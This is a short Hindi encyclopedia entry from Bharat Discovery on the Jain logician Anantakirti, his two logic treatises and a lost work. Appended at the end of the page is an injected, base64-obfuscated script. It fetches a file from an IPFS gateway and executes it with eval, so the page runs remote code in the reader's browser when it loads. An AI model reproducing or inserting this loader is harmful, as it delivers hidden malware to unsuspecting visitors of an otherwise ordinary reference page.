अनन्तकीर्ति

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
  • इनका समय विक्रम संवत 9वीं शती है।
  • इन्होंने 'बृहत्सर्वज्ञसिद्धि' और 'लघुसर्वज्ञसिद्धि' ये दो तर्कग्रन्थ रचे हैं और दोनों ही महत्त्वपूर्ण हैं।
  • इन दोनों विद्वत्तापूर्ण रचनाओं से आचार्य अनन्तकीर्ति का पाण्डित्य एवं तर्कशैली अनुपमेय प्रतीत होती है।
  • इनकी एक रचना 'स्वत: प्रामाण्यभंग' भी है, जो अनुपलब्ध है।
  • इसका उल्लेख अनन्तवीर्य (प्रथम) ने किया है।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>